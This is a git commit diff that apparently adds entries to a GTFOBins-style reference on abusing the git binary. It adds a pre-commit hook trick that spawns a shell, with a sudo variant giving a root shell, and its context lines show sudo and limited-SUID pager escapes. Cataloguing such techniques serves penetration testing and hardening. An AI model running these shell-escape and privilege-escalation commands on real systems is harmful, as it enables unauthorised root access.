Add git hooks shell

Closes #77 as it provides a working example and a possibly better hook. Thanks
to jivex5k <wgehalo@gmail.com> for the initial proposal.
This commit is contained in:
Andrea Cardaci 2019-12-18 14:38:35 +01:00
parent 740fa3a44f
commit 15b465d937

View File

@ -6,6 +6,13 @@ functions:
code: | code: |
git help config git help config
!/bin/sh !/bin/sh
- description: Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the `-C` option.
code: |
TF=$(mktemp -d)
git init "$TF"
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
git -C "$TF" commit --allow-empty -m x
sudo: sudo:
- code: PAGER='sh -c "exec sh 0<&1"' sudo -E git -p help - code: PAGER='sh -c "exec sh 0<&1"' sudo -E git -p help
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
@ -16,6 +23,13 @@ functions:
code: | code: |
sudo git branch --help config sudo git branch --help config
!/bin/sh !/bin/sh
- description: Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the `-C` option.
code: |
TF=$(mktemp -d)
git init "$TF"
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
sudo git -C "$TF" commit --allow-empty -m x
limited-suid: limited-suid:
- code: PAGER='sh -c "exec sh 0<&1"' ./git -p help - code: PAGER='sh -c "exec sh 0<&1"' ./git -p help
--- ---